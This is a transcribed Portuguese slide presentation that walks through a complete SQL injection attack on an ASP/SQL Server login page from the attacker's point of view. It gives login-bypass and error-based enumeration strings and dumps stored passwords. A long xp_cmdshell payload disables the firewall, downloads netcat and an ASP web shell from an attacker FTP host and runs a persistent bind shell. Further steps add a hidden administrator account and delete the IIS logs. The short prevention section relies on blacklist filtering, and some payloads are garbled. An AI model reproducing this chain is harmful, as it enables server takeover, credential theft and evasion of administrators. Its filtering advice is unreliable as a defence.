GR1NCH/Rêner
|
|
|
- Amália Barros Anjos
- 8 Há anos
- Visualizações:
Transcrição
1 GR1NCH/Rêner
2 Agenda O que seria um ataque de SQL Injection. As falhas de um administrador. O código ASP vulnerável. O ponto de vista do invasor e as etapas de um ataque: Levantamento de informações. Procurar pela falha no sistema. Ganhar acesso ao sistema explorando o SQL Injection. Manter acesso ao sistema. Apagar os rastros deixados pelo ataque. Como evitar um ataque como esse. Duvidas?
3 A sigla SQL significa: Structured Query Language Trata-se de uma linguagem textual utilizada para se interagir com o banco de dados. Se levarmos em consideração que 80% das aplicações WEB utilizam banco de dados com suporte a SQL, concluiremos que o uso do SQL é quase unanimidade por ser prática, fácil e portátil. As aplicações WEB utilizam banco de dados para armazenar as mais diversas informações como: endereços e documentos pessoais, logins e senhas de usuários, números de cartões de crédito, dados empresariais etc... Não vou ensinar SQL, mas vou demonstrar como é possível Injetar comandos SQL em paginas web vulneráveis e veremos como isso pode comprometer a segurança do sistema.
4 Onde foi que eu errei? Essa com certeza é a primeira pergunta que um administrador de sistemas que teve seu servidor invadido faz a si mesmo... E em matéria de SQL INJECTION a receita para o fracasso do administrador aqui demonstrada é: Um servidor WINDOWS rodando o Microsoft SQL Server (QUALQUER VERSÃO!) com privilégios da conta SYSTEM ou Administrador. Uma página ASP ou PHP mal programada. (Utilizaremos ASP em nosso exemplo) Uma dúzia de comandos SQL maliciosos e um HACKER disposto a te prejudicar. A falha não está no Microsoft SQL SERVER e sim na programação feita na página WEB a qual não faz os devidos filtros de caracteres especiais que utilizaremos no ataque dos quais podemos citar: ( aspas simples ou apóstrofe) -- ( 2 sinais de menos ) ; ( ponto e vírgula ) > ( sinal de maior )
5 A função dos caracteres especiais Abaixo segue a função dos caracteres especiais e qual o efeito que eles causam seja na linguagem ASP ou na SQL. (aspas simples ou apóstrofe ): Na linguagem ASP é utilizada para fazer um comentário dentro do código fonte. Tudo que estiver na frente deste símbolo não será processada pelo Navegador. -- (sinais de menos): Na linguagem SQL mais precisamente no Transact-SQL significa um comentário de linha. Mais uma vez tudo que estiver na frente não será processado pelo SQL Server. ; (ponto e vírgula): No SQL marca o final de uma query e o inicio de outra. Utilizaremos esse caractere para executar comando em seqüência no SQL Server. > (maior): Utilizado tanto no Windows como no Linux para redirecionar a saída de um comando para dentro de um arquivo. Quando utilizado em duplicidade ( >> ) acrescenta a saída do comando no final do arquivo mantendo o conteúdo anterior. Se o arquivo não existir o mesmo será criado.
6 O ASP(Active Server Pages) vulnerável Para ilustrar nossos exemplos vamos utilizar um site simples no qual o administrador possui uma área de login na qual ele e os demais usuários do sistema entram com seu USUÁRIO e SENHA para ter acesso a aplicação WEB. O login é feito no arquivo ( login.asp ) que após o usuário entrar com seu login e senha, envia os dados para o arquivo ( process_login.asp ) que por sua vez fará a consulta no banco de dados do SQL Server permitindo ou negando o acesso do usuário. O banco de dados possui uma tabela simples chamada ( usuarios ) que possui os campos: (registrousuario, nomeusuario e senhausuario ). Mas o atacante ainda não sabe disso!!! A seguir veremos o código fonte das páginas ( login. asp ) e ( process_login.asp ). Para termos uma visão melhor sobre a falha no código. Que por sua vez não faz nenhum filtro de caracteres especiais.
7 O ASP(Active Server Pages) vulnerável Abaixo segue o código fonte do arquivo ( login.asp ) e como o usuário o visualiza em seu navegador. Exemplo de URL ( ) <HTML><HEAD> <TITLE>Logar no Painel de Administração</TITLE> </HEAD><BODY bgcolor='000000' text='cccccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1> <FORM action='process_login.asp' method=post> <TABLE> <TR><TD>Login:</TD><TD><INPUT type=text name=username size=100% width=100></input></td></tr> <TR><TD>Senha:</TD><TD><INPUT type=password name=password size=100% width=100></input></td></tr> </TABLE> <INPUT type=submit value='enviar'> <INPUT type=reset value='limpar'> </FORM></FONT></BODY></HTML>
8 O ASP(Active Server Pages) vulnerável Agora veremos a parte do código fonte do arquivo ( process_login.asp ) com a falha: function Login( cn ) { var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from usuarios where nomeusuario = '" + username + "' and senhausuario = '" + password + "'"; trace( "query: " + sql ); rso.open( sql, cn ); if (rso.eof) { rso.close(); Vemos destacado acima a parte do código que vai executar a query do SQL que não faz nenhum filtro para evitar caracteres especiais, permitindo portanto a Injeção de comandos maliciosos no SQL Server...
9 O ASP(Active Server Pages) vulnerável Supomos que eu seja um usuário cadastrado no sistema meu login é ( RENER ) e minha senha é ( DcLabs ). Caso eu efetuasse o login no site a consulta seria enviada ao Microsoft SQL Server assim: select count(*) from usuarios where nomeusuario= RENER' and senhausuario= DcLabs Observe que a query acima já possui aspas simples. Agora o que aconteceria se no lugar do usuário eu colocasse ( RENER -- ) e senha ( xxx )? A consulta seria enviada ao Microsoft SQL Server da seguinte forma: select count(*) from usuarios where nomeusuario= RENER --' and senhausuario= xxx Lembrando que tudo que está na frente do ( -- ) é considerado como comentário pelo SQL, portanto tudo o que está destacado de vermelho na query acima NÃO SERÁ processado pelo Microsoft SQL Server...
10 O ASP(Active Server Pages) vulnerável O SQL Injection ficou conhecido pelas strings or =1 ou or a = a porque os atacantes procuravam por páginas de login e sempre testavam strings como as demonstradas abaixo tanto no login como na senha: or =1 or=1 or a = a ')or('a'='a ')or('1'='1 'or'1'='1 Mas o que isso faz? Baseado no conceito de que em 90% dos sites o primeiro usuário cadastrado é o ADMINISTRADOR DO SITE (não confundir com o administrador do servidor), usando strings parecidas com essas faria o SQL logar você como o 1º usuário cadastrado na tabela de usuários. E se esse for o administrador do site, teremos acesso total ao painel de administração do site.
11 As etapas de um ataque... Vamos a partir de agora adotar o ponto de vista de um atacante que conhece bem as funções e comandos do SQL e possui ferramentas que vão ajudá-lo ter um acesso completo ao sistema que ele vai atacar. As etapas de um ataque bem sucedido são: 1º Passo) Levantar o máximo de informações sobre o alvo que será atacado. 2º Passo) Procurar por falhas no sistema. 3º Passo) Ganhar acesso ao sistema. Explorando a(s) falha(s) encontradas. 4º Passo) Manter acesso ao sistema, para poder voltar ao sistema sempre que quiser. 5º Passo) Apagar os rastros deixados pelo ataque. 1º Passo) Levantando informações sobre nosso alvo: Descobrir quais os serviços e portas estão abertas no servidor alvo utilizando a ferramenta ( nmap ) presente na maioria das distribuições linux atuais. Descobrir o nome dos campos da pagina onde é realizado o login. Observação: O levantamento de informações ocorre a todo momento durante o ataque!
12 Matando 2 coelhos de uma vez... Para levantar informações e ainda verificar a existência da falha no site podemos utilizar a string: ( having 1=1 -- ). Felizmente o SQL Server conversa demais ou seja ele faz uma espécie de debug toda vez que um erro ocorre e retorna para a pagina ASP o erro ocorrido, portanto podemos através dos ERROS obter informações importantes e muito úteis. O erro da nossa string vai ser algo parecido com: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][SQL Native Client][SQL Server]Column 'usuarios.registrousuario' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 25 Agora já sabemos que a tabela se chama usuarios e o 1º campo registrousuario. Vamos portanto utilizar a técnica de gerar erros para obter cada vez mais informações sobre os dados armazenados na tabela do banco de dados.
13 Matando 2 coelhos de uma vez... Vamos descobrir o nome do 2º campo da tabela usuarios usando para isso a string: ( group by usuarios.registrousuario having 1=1 -- ) o erro será algo assim: Microsoft OLE DB Provider for ODBC Drivers error '80040e14 [Microsoft][SQL Native Client][SQL Server]Column 'usuarios.nomeusuario' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 25 Para encontrar o próximo campo é só seguir o exemplo anterior... ( ' group by usuarios.registrousuario, usuarios.nomeusuario having 1=1 -- ) Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][SQL Native Client][SQL Server]Column 'usuarios.senhausuario' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 25 Sempre adicionando o campo descoberto na string separando por vírgula... ( group by usuarios.registrousuario, usuarios.nomeusuario, usuarios.senhausuario having 1=1 --). Quando não obter mais nenhum erro do SQL Server é porque todos os campos da tabela já constam na string.
14 3ºPasso Ganhando acesso... Vamos descobrir ou adicionar um usuário válido no site para termos acesso. Para isso precisamos descobrir o tipo de cada campo. Ou seja precisamos saber se ele armazena dados do tipo Números, Textos etc... Uma forma fácil de descobrir o tipo do campo é forçar um erro do SQL atribuindo um TEXTO em uma função que requer um valor NUMÉRICO. Para isso podemos gerar um erro com a função SUM do SQL que é utilizada para retornar o valor total ou soma de uma coluna numérica. Portanto nossa próxima injeção ficaria assim: ( ' union select sum(nomeusuario) from usuarios-- ), e o erro será: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][SQL Native Client][SQL Server]Operand data type varchar(max) is invalid for sum operator. /process_login.asp, line 25 Acabamos de descobrir que o campo ( nomeusuario ) da tabela ( usuarios ) e do tipo ( varchar ) agora vamos descobrir o tipo do campo ( senhausuario ), vejamos...
15 3ºPasso Obtendo acesso... Você pode estar pensando: E se fosse um campo numérico? Nesse caso o erro seria: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][SQL Native Client][SQL Server]All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists. /process_login.asp, line 25 A mensagem de erro nos fala que operadores de UNIAO, INTERSEÇÃO ou EXCEÇÃO tem que ter um número igual de expressões nas listas designadas. Ou seja precisariamos de 2 campos numéricos e só foi definido 1... Logo concluímos que o campo inserido é do tipo numérico ou inteiro. Voltando a linha de raciocínio do atacante precisamos descobrir o tipo do campo ( senhausuario ) então podemos usar a mesma string mudando apenas o campo: ( ' union select sum(senhausuario) from usuarios -- ) Já sabemos o nome e a ordem dos campos da tabela e o tipo de cada campo. Vamos adicionar um usuário válido no site usando a string: ( '; insert into usuarios values( 999, 'd3f4c3r', hacked') -- ). Agora temos uma conta válida no site e podemos logar com ela: ( Nome: d3f4c3r Senha: hacked ). Vamos descobrir a senha dos outros usuários...
16 3ºPasso Obtendo acesso... Para descobrir os logins e senhas dos usuários cadastrados na tabela podemos usar: ( ' union select min(nomeusuario),1,1 from usuarios where nomeusuario > a' -- ) Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][SQL Native Client][SQL Server]Conversion failed when converting the varchar value 'admin' to data type int. Encontramos o primeiro login agora vamos descobrir a senha: ( ' union select senhausuario,1,1 from usuarios where nomeusuario = 'admin -- ) Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][SQL Native Client][SQL Server]Conversion failed when converting the varchar value 'MasterRoot' to data type int. Outra forma seria utilizar o campo de ( registrousuario ) que armazena pela lógica a ordem que os usuários foram cadastrados na tabela poderíamos usar a string: ( ' union select nomeusuario,1,1 from usuarios where registrousuario = 1 -- ) para descobrir o login e para descobrir a senha: ( ' union select senhausuario,1,1 from usuarios where registrousuario = 1 -- ). Seguindo essa lógica basta trocar o número que está na frente de ( registrousuario = X ) e rapidamente podemos descobrir o login e senha de qualquer usuário cadastrado na tabela.
![ODBC Drivers error '80040e07' [Microsoft][SQL Native Client][SQL Server]Conversion failed when converting the varchar value 'admin' to data type int.](/docs-images/43/903770/images/page_16.jpg "Encontramos o primeiro login agora vamos descobrir a senha: ( ' union select senhausuario,1,1 from usuarios where nomeusuario = 'admin -- ) Microsoft OLE DB Provider for ODBC Drivers error '80040e07'")
17 Um pouco mais além... Uma forma muito mais elegante de obter os usuários e senhas de uma só vez, seria criar utilizando o Transact-SQL uma tabela chamada ( senhas ) contendo um único campo chamado ( lista ) e dentro desse campo vamos adicionar todos os logins e senhas cadastrados na tabela (usuarios) do banco de dados. A string vai ficar grande e deve ser inserida em uma única linha... Veja: ( ';begin varchar(8000) '+nomeusuario+'='+senhausuario from usuarios where nomeusuario as lista into senhas end -- ) Agora temos que gerar um erro para exibir o conteúdo do campo ( lista ) que está na tabela ( senhas ) que acabamos de criar. A string seria: ( ' union select lista,1,1 from senhas -- ) e o erro está descrito abaixo: Microsoft OLE DB Provider for ODBC Drivers error '80040e07 [Microsoft][SQL Native Client][SQL Server]Conversion failed when converting the varchar value :admin=masterroot RENER=DcLabs Ewerson=Denise_2009 Rafael=Laiz1987 Mateus=matrix87' to data type int Após ver as senhas vamos apagar a tabela ( senhas ) com a string: ( '; drop table senhas -- ).
18 Um pouco mais além... Agora que tal descobrir a versão do SQL Server que está sendo executada no servidor, e ainda obter informações sobre o Service Pack do Windows... A string seria: ( ' union ) Veja o erro: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][SQL Native Client][SQL Server]Conversion failed when converting the nvarchar value 'Microsoft SQL Server (Intel X86) Feb :47:07 Copyright (c) Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ' to data type int. O erro acontece porque tentamos converter uma função interna do SQL que é uma string em um campo inteiro. Lembrando que o campo (registrousuario) é numérico. Bom até agora nós brincamos com o banco de dados, adicionamos usuários mas ainda estamos restritos apenas ao site. Nosso objetivo aqui é dominar todo o servidor, portanto a partir de agora vamos atacar o servidor com o objetivo de obter o acesso completo e total. Utilizaremos uma função do SQL chamada xp_cmdshell que nos permite executar comandos do MS-DOS no servidor onde o SQL Server está em execução.
19 O plano: 4º Passo Mantendo o Acesso... Utilizarei a ferramenta ( NetCat ) para manter aberta uma backdoor no servidor. E assim voltar ao servidor de forma mais fácil e menos trabalhosa. Precisamos executar o NETCAT de dentro do servidor para que a porta seja aberta. O arquivo ( d00r.asp ) nos permitirá administrar o servidor via navegador. A função ( xp_cmdshell ) ou ( master..xp_cmdshell ) nos permite executar comandos do MS-DOS dentro do servidor. Porém por medidas de segurança ela vem desativada. Portanto precisamos ( habilitar a função xp_cmdshell ) e através de comandos do MS-DOS ( DESATIVAR O FIREWALL ) do Windows, para que ele não impeça nossa conexão na backdoor que será aberta pelo ( NetCat ). Será necessário também criar dentro do servidor um arquivo ( *.bat ) que vai manter sempre a backdoor em execução. Vou usar meu servidor FTP para fazer o download do NetCat no alvo, e usar o *.bat criado para manter o NetCat sempre em execução. Ferramentas utilizadas: 1 servidor FTP com usuário e senha válido, NetCat para conexão remota via MS-DOS, EXPLOIT em ASP para conexão remota via Web Browser.
20 4º Passo Mantendo o Acesso... Veja o conteúdo do arquivo ( gr1nch.txt ) que será criado dentro do servidor e utilizado pelo ( d00r.bat ) para fazer o download das backdoors para dentro do servidor via FTP: open XXX.XXX.XXX.XXX 21 USER d3f4c3r DcLabs@2009 binary get nc.exe %temp%\svchost.exe get xpl.asp %temp%\xpl.asp quit Agora veremos o conteúdo do arquivo ( d00r.bat ) que fará o download das backdoors via FTP e manterá o NetCat em execução dentro do servidor: cd %temp% ftp -i -n -v -s:%temp%\gr1nch.txt :backd00r netsh firewall set opmode mode = disable svchost.exe -l -p XXXX -e %comspec% goto backd00r
21 O Ataque:
22 Isso sim é um ataque de SQL-Injection!!! Vamos utilizar uma STRING GIGANTE para executar todo o plano. Precisamos portanto habilitar a função XP_CMDSHELL usando a string: ( ';use master;exec sp_configure show_advanced_options,1;reconfigure;exec sp_configure xp_cmdshell,1;reconfigure -- ) Feito isso precisamos desativar o firewall do servidor que estamos atacando com a string: ( ;exec xp_cmdshell netsh firewall set opmode mode = disable -- ) Para ganhar tempo veremos a STRING(gigante) que nos dará acesso total ao servidor: ';exec xp_cmdshell 'echo open XXX.XXX.XXX.XXX 21 > %temp%\gr1nch.txt';exec xp_cmdshell 'echo USER d3f4c3r DcLabs@2009 >> %temp%\gr1nch.txt';exec xp_cmdshell 'echo binary >> %temp%\gr1nch.txt';exec xp_cmdshell 'echo get nc.exe %temp%\svchost.exe >> %temp%\gr1nch.txt ;exec xp_cmdshell 'echo get xpl.asp %temp%\xpl.asp >> %temp%\gr1nch.txt';exec xp_cmdshell 'echo quit >> %temp%\gr1nch.txt';exec xp_cmdshell 'echo cd %temp% > %temp%\d00r.bat';exec xp_cmdshell 'echo ftp -i -n -v -s:%temp%\gr1nch.txt >> %temp%\d00r.bat';exec xp_cmdshell 'echo :backd00r >> %temp%\d00r.bat';exec xp_cmdshell 'echo netsh firewall set opmode mode = disable >> %temp%\d00r.bat';exec xp_cmdshell 'echo svchost.exe -l -p XXXX -e %ComSpec% >> %temp%\d00r.bat';exec xp_cmdshell 'echo goto backd00r >> %temp%\d00r.bat';exec xp_cmdshell '%temp%\d00r.bat' Observação importante: Tudo isso é uma única linha!!!
23 Acessando e preservando o acesso Vamos executar novamente o ( nmap ) no alvo para verificar se realmente o firewall foi desativado... Agora podemos finalmente invadir o alvo usando a backdoor que foi aberta pelo NetCat: ( nc <ip do servidor> <porta do NetCat> ) A última coisa que um hacker quer é perder o acesso ao servidor que ele invadiu; portanto vamos esconder a segunda backdoor que é o ( xpl.asp ) entre os arquivos do site. Assim, caso o administrador do servidor descubra a backdoor do ( netcat ) ou coserte a falha do SQL Injection na página ASP. Nós ainda teremos o nosso acesso preservado. Para isso basta utilizarmos o comando do MS-DOS: ( copy %temp%\xpl.asp C:\inetpub\wwwroot\backup.asp )
24 Acessando e preservando o acesso Bom agora podemos acessar o servidor a qualquer momento usando apenas um Navegador. Veja como: ( ) Bom... mas que tal uma conexão via Terminal Service? Para utilizar o Terminal Service precisaremos de um usuário e senha cadastrados no servidor, portanto vamos agora adicionar um usuário usando os comandos do MS-DOS: ( net user gr1nch /add ) Temos um usuário ( gr1nch ) com senha ( ). Vamos adicionar este usuário no grupo de Administradores para que ele tenha permissão total de acesso ao servidor. ( net localgroup administrators gr1nch /add ) Finalmente temos através do Terminal Service o controle total do servidor. Mas o ataque ainda não esta completo, precisamos ocultar os rastros deixados...
25 5º Passo... Apagando os LOG Vimos no resultado da busca feita pelo ( NMAP ) no alvo que o administrador esta utilizando o IIS Versão 6.0 da Microsoft. Por padrão o IIS armazena os LOGs de acesso ao site em ( %SystemRoot%\system32\LogFiles ). Todas as requisições feitas ao site foram gravadas em um dos arquivos de LOG existentes neste diretório. Portanto além do nosso IP os comandos maliciosos de SQL que injetamos no servidor também estarão gravados. Não vamos conseguir apagar todos os arquivos de LOG pois com certeza algum deles pode estar em uso por algum processo do sistema. Então antes de apagar o arquivo precisamos parar o serviço do IIS...
26 5º Passo... Apagando os LOG do IIS O serviço que armazena o LOG do IIS se chama ( w3svc ), e a seqüência de comandos do MS-DOS para parar o serviço e apagar o arquivos de LOG seria: cd %SystemRoot%\system32\Logfiles\w3svc1 net stop w3svc del *.log net start w3svc Assim finalizamos as 5 etapas de um ataque bem sucedido. Voltaremos agora ao Ponto de Vista do administrador de sistemas. Após vermos a seqüência comum de um ataque de SQL Injection em um servidor, vamos agora ver medidas simples de prevenção, que quando adotadas impedem ou pelo menos dificultam bastante a vida do atacante. As medidas de prevenção seriam basicamente: Corrigir a falha da página ASP que não filtra os caracteres especiais. Configurar o SQL Server para ser executado com uma conta sem grandes privilégios. Não deixar habilitada a função ( xp_cmdshell ) no SQL Server. Remover do servidor aplicações que não são utilizadas como por exemplo o FTP. O uso de um Antivírus atualizado e um Firewall bem configurado sempre ajuda.
27 Prevenir é melhor que remediar Corrigindo a página ASP vulnerável: Muitos desenvolvedores de páginas Web acreditam que utilizando delimitadores de número de caracteres no campo da página, ou filtros de caracteres em JAVA-SCRIPT resolvem o problema. Esses desenvolvedores determinam o número máximo de caracteres que o campo texto da pagina pode suportar, e impedem a entrada de caracteres especiais no campo. Mas NADA DISSO ADIANTA!!! Nem só de campos vive um site, podemos fazer requisições até mesmo pela URL do site e utilizar a URL para injetar comandos de SQL. Como mostra esse exemplo: ( having 1=1-- ) Ou seja de nada adiantou o filtro realizado no campo. O filtro de caracteres especiais deve ser realizado toda vez que a pagina ASP for realizar alguma query no bando de dados. Veremos a seguir um exemplo que mostra como substituir aspas simples ( ) por ). O que já ajuda a impedir que o ASP receba os comandos do SQL do atacante, pois a página antes de enviar a consulta ao banco fará a substituição de todas as aspas simples por arroba...
28 Prevenir é melhor que remediar Exemplo de como substituir aspas simples <% Function RemoveApostrofe(texto) RemoveApostrofe = End function %> Exemplo de como remover textos utilizados em ataques de SQL Injection: <% Function LimpaLixo( input ) dim lixo dim textook lixo = array ( "select", "drop", ";", "--", "insert", "delete", "xp_, master..xp_") textook = input for i = 0 to ubound(lixo) textook = replace( textook, lixo(i), "") next LimpaLixo = textook end Function %>
29 Microsoft SQL Server, mais seguro... Veremos agora duas configurações do Microsoft SQL Server que facilitam a invasão. 1ª) Microsoft SQL Server sendo executado com a conta Local System.
30 Microsoft SQL Server, mais seguro... 2ª) Função XP_CMDSHELL ativa a qual permite a execução de comandos do MS-DOS.
31 Duvidas? Obrigado!
Omega Tecnologia Manual Omega Hosting
Omega Tecnologia Manual Omega Hosting 1 2 Índice Sobre o Omega Hosting... 3 1 Primeiro Acesso... 4 2 Tela Inicial...5 2.1 Área de menu... 5 2.2 Área de navegação... 7 3 Itens do painel de Controle... 8
AULA APLICAÇÕES PARA WEB SESSÕES E LOGIN E SENHA
Sumário Construção de sistema Administrativo... 1 Sistema de Login... 2 SQL INJECTION... 2 Técnicas para Evitar Ataques... 2 Formulário de Login e Senha fará parte do DEFAULT... 5 LOGAR... 5 boas... 6
Desenvolvendo Websites com PHP
Desenvolvendo Websites com PHP Aprenda a criar Websites dinâmicos e interativos com PHP e bancos de dados Juliano Niederauer 19 Capítulo 1 O que é o PHP? O PHP é uma das linguagens mais utilizadas na Web.
Data Transformation Services (DTS) por Anderson Ferreira Souza
Data Transformation Services (DTS) por Anderson Ferreira Souza O Sql Server possui um recurso extremamente poderoso que é muito pouco utilizado pelos administradores e programadores. Com certeza, sendo
Passo a Passo da instalação da VPN
Passo a Passo da instalação da VPN Dividiremos este passo a passo em 4 partes: Requisitos básicos e Instalação Configuração do Servidor e obtendo Certificados Configuração do cliente Testes para saber
Configurando DDNS no Stand Alone
Configurando DDNS no Stand Alone Abra o seu navegador de internet e acesse o endereço http://www.advr.com.tw(ou, http://59.124.143.151 ). Clique em Register para efetuar o cadastro de um novo grupo.(foto
ATENÇÃO: Este post é atualizado toda vez que alguma função é inserida ou removida da ferramenta.
Cangibrina Dashboard Finder 11 DE SETEMBRO DE 2015 ATENÇÃO: Este post é atualizado toda vez que alguma função é inserida ou removida da ferramenta. Hoje trarei uma ferramenta desenvolvida por mim mesmo
UNIVERSIDADE FEDERAL DE PELOTAS
Usando um firewall para ajudar a proteger o computador A conexão à Internet pode representar um perigo para o usuário de computador desatento. Um firewall ajuda a proteger o computador impedindo que usuários
Instalando o Internet Information Services no Windows XP
Internet Information Services - IIS Se você migrou recentemente do Windows 95 ou 98 para o novo sitema operacional da Microsoft Windows XP, e utilizava antes o Personal Web Server, deve ter notado que
Modo Básico, passando por senhas em sites
A Injeção SQL www.invasao.com.br Modo Básico, passando por senhas em sites Hoje em dia é uma prática comum os sites pedirem um cadastro do visitante, e criar-lhe um login, dando acesso a áreas restritas
Configurando o IIS no Server 2003
2003 Ser ver Enterprise Objetivo Ao término, você será capaz de: 1. Instalar e configurar um site usando o IIS 6.0 Configurando o IIS no Server 2003 Instalando e configurando o IIS 6.0 O IIS 6 é o aplicativo
Esse manual é um conjunto de perguntas e respostas para usuários(as) do Joomla! 1.5.
Esse manual é um conjunto de perguntas e respostas para usuários(as) do Joomla! 1.5. Ele considera que você já tem o Joomla! instalado no seu computador. Caso você queira utilizá lo em um servidor na web,
Na tela dele, clique no sinal de + ao lado do nome do seu computador, para expandi-lo. A seguir, expanda também o item "Sites da web".
Servidor WEB Desenvolvedores de sites que querem aprender ou testar ASP, ou mesmo profissionais que precisam desenvolver páginas ASP ou ASP.Net, não precisam necessariamente ter um servidor na web com
Instalando servidor Apache com MySQL e as linguagens ColdFusion e PHP. XAMPP 1.6.7 (xampp-win32-1.6.7-installer.exe), veja aqui.
Instalando servidor Apache com MySQL e as linguagens ColdFusion e PHP. Escrito por Marcio Nakano (marcionakano.com.br) Data: 29/09/2008 Disponível em http:///blog/post/instalando-apache-mysql-coldfusionphp.pdf
Lazarus pelo SVN Linux/Windows
Lazarus pelo SVN Linux/Windows Sei que não faltam artigos sobre como obter e compilar o Lazarus e o FPC pelo SVN, mas sei também que nunca é de mais divulgar um pouco mais e talvez escrever algo diferente.
Atualizaça o do Maker
Atualizaça o do Maker Prezados Clientes, Nós da Playlist Software Solutions empresa líder de mercado no desenvolvimento de software para automação de rádios - primamos pela qualidade de nossos produtos,
PAINEL GERENCIADOR DE E-MAILS
Este manual foi criado com o objetivo de facilitar o gerenciamento de suas contas de e-mail. Com ele, o administrador poderá criar e excluir e-mails, alterar senha, configurar redirecionamento de contas,
UNIVERSIDADE FEDERAL DO RIO GRANDE DO NORTE ESCOLA AGRÍCOLA DE JUNDIAÍ EAJ - PRONATEC / REDE etec MÓDULO III DESENVOLVIMENTO PROFESSOR ADDSON COSTA
UNIVERSIDADE FEDERAL DO RIO GRANDE DO NORTE ESCOLA AGRÍCOLA DE JUNDIAÍ EAJ - PRONATEC / REDE etec MÓDULO III DESENVOLVIMENTO PROFESSOR ADDSON COSTA RESUMO DE AULA CRIAÇÃO E MANIPULAÇÃO DO BANCO DE DADOS
Ameaças, riscos e vulnerabilidades Cont. Objetivos
Ameaças, riscos e vulnerabilidades Cont. Prof. Esp. Anderson Maia E-mail: tecnologo.maia@gmail.com Objetivos entender a definição dos termos hacker, cracker e engenharia social; compreender a anatomia
Segurança em Sistemas Web. Addson A. Costa
Segurança em Sistemas Web Addson A. Costa Spoofing de formulários Spoofing consiste em falsificação, por exemplo, na área de redes um computador pode roubar o IP de outro e assim fazer-se passar por ele.
Revisando sintaxes SQL e criando programa de pesquisa. Prof. Vitor H. Migoto de Gouvêa Colégio IDESA 2011
Revisando sintaxes SQL e criando programa de pesquisa. Prof. Vitor H. Migoto de Gouvêa Colégio IDESA 2011 Edição 5 SELECT * FROM Minha_memoria Revisando Sintaxes SQL e Criando programa de Pesquisa Ano:
Está apto a utilizar o sistema, o usuário que tenha conhecimentos básicos de informática e navegação na internet.
1. Descrição Geral Este manual descreve as operações disponíveis no módulo VTWEB Client, cuja finalidade é gerenciar cadastros de funcionários, realização de pedidos e controle financeiro dos pedidos.
Guia de Instalação SIAM. Internet Information Services - IIS 5.1 no Windows XP Pro
Guia de Instalação SIAM Internet Information Services - IIS 5.1 no Windows XP Pro Documento Gerado por: Amir Bavar Criado em: 06/04/2007 Última modificação: 26/09/2008 Índice: 1. Introdução 2. Lista de
Instalando o WordPress em localhost
Instalando o WordPress em localhost WordPress sem Mistério LEE ARAUJO htto://wordpresssemmisterio.com.br Sumário Instalando o WordPress em Localhost... 2 O Servidor web... 3 Iniciando o servidor... 6 Criação
Como atualizar os preços da ABCFarma.
Como atualizar os preços da ABCFarma. Requisitos 1. Ter o Microsoft Office 2003 instalado. Pode ser qualquer outra versão, mas eu vou explicar com a 2003, se você utilizar outra versão, saiba como utilizá-la.
Fonte: http://www.online-security-solution.com/ - Illustration by Gaich Muramatsu
Fonte: http://www.online-security-solution.com/ - Illustration by Gaich Muramatsu Prof. Hederson Velasco Ramos Uma boa maneira de analisar ameaças no nível dos aplicativo é organiza las por categoria de
Trabalhando com conexão ao banco de dados MySQL no Lazarus. Prof. Vitor H. Migoto de Gouvêa Colégio IDESA 2011
Trabalhando com conexão ao banco de dados MySQL no Lazarus Prof. Vitor H. Migoto de Gouvêa Colégio IDESA 2011 Edição 4 O Componente Trabalhando com conexão ao banco de dados MySQL no Lazarus Ano: 03/2011
Nesse artigo abordaremos os principais aspectos de instalação e uso do NTOP no Fedora Core 4.
Diego M. Rodrigues (diego@drsolutions.com.br) O NTOP é um programa muito simples de ser instalado e não requer quase nenhuma configuração. Ele é capaz de gerar excelentes gráficos de monitoramento das
1. Introdução pág.3 2. Apresentação do sistema Joomla! pág.4 3. Acessando a administração do site pág.4 4. Artigos 4.1. Criando um Artigo 4.2.
1. Introdução pág.3 2. Apresentação do sistema Joomla! pág.4 3. Acessando a administração do site pág.4 4. Artigos 4.1. Criando um Artigo 4.2. Editando um Artigo 4.3. Excluindo um Artigo 4.4. Publicar
Manual do Instar Mail v2.0
Manual do Instar Mail v2.0 Sumário Conteúdo Menu Principal... 2 Menu Cliente... 3 Pagina Categorias do Instar-Mail... 4 Importação... 4 Campanhas... 8 Cadastramento de campanhas do Instar-Mail... 9 Ações
Guia de instalação para ambiente de Desenvolvimento LINUX
Guia de instalação para ambiente de Desenvolvimento LINUX Conteúdo deste manual Introdução O guia de instalação... 3 Capítulo 1 Instalando o servidor Web Apache... 4 Teste de instalação do Apache... 9
3. No painel da direita, dê um clique com o botão direito do mouse em qualquer espaço livre (área em branco).
Permissões de compartilhamento e NTFS - Parte 2 Criando e compartilhando uma pasta - Prática Autor: Júlio Battisti - Site: www.juliobattisti.com.br Neste tópico vamos criar e compartilhar uma pasta chamada
http://www.multside.com.br CODE IGNITER INSTALAÇÃO & BANCO DE DADOS
CODE IGNITER INSTALAÇÃO & BANCO DE DADOS INSTALAÇÃO Instalar o code-igniter é muito simples, basta que você tenha um servidor que rode PHP 5 (para saber consulte a documentação PHP do seu servidor). Após
No Fedora, instalamos os pacotes "mysql" e "mysql-server", usando o yum:
Instalando o MySQL O MySQL é um banco de dados extremamente versátil, usado para os mais diversos fins. Você pode acessar o banco de dados a partir de um script em PHP, através de um aplicativo desenvolvido
XSS - CROSS-SITE SCRIPTING
Segurança XSS - CROSS-SITE SCRIPTING XSS - CROSS-SITE SCRIPTING Vamos supor a seguinte situação: O site ingenuo.com tem um fórum As pessoas escrevem comentários nesse fórum e eles são salvos diretamente
Manual Captura S_Line
Sumário 1. Introdução... 2 2. Configuração Inicial... 2 2.1. Requisitos... 2 2.2. Downloads... 2 2.3. Instalação/Abrir... 3 3. Sistema... 4 3.1. Abrir Usuário... 4 3.2. Nova Senha... 4 3.3. Propriedades
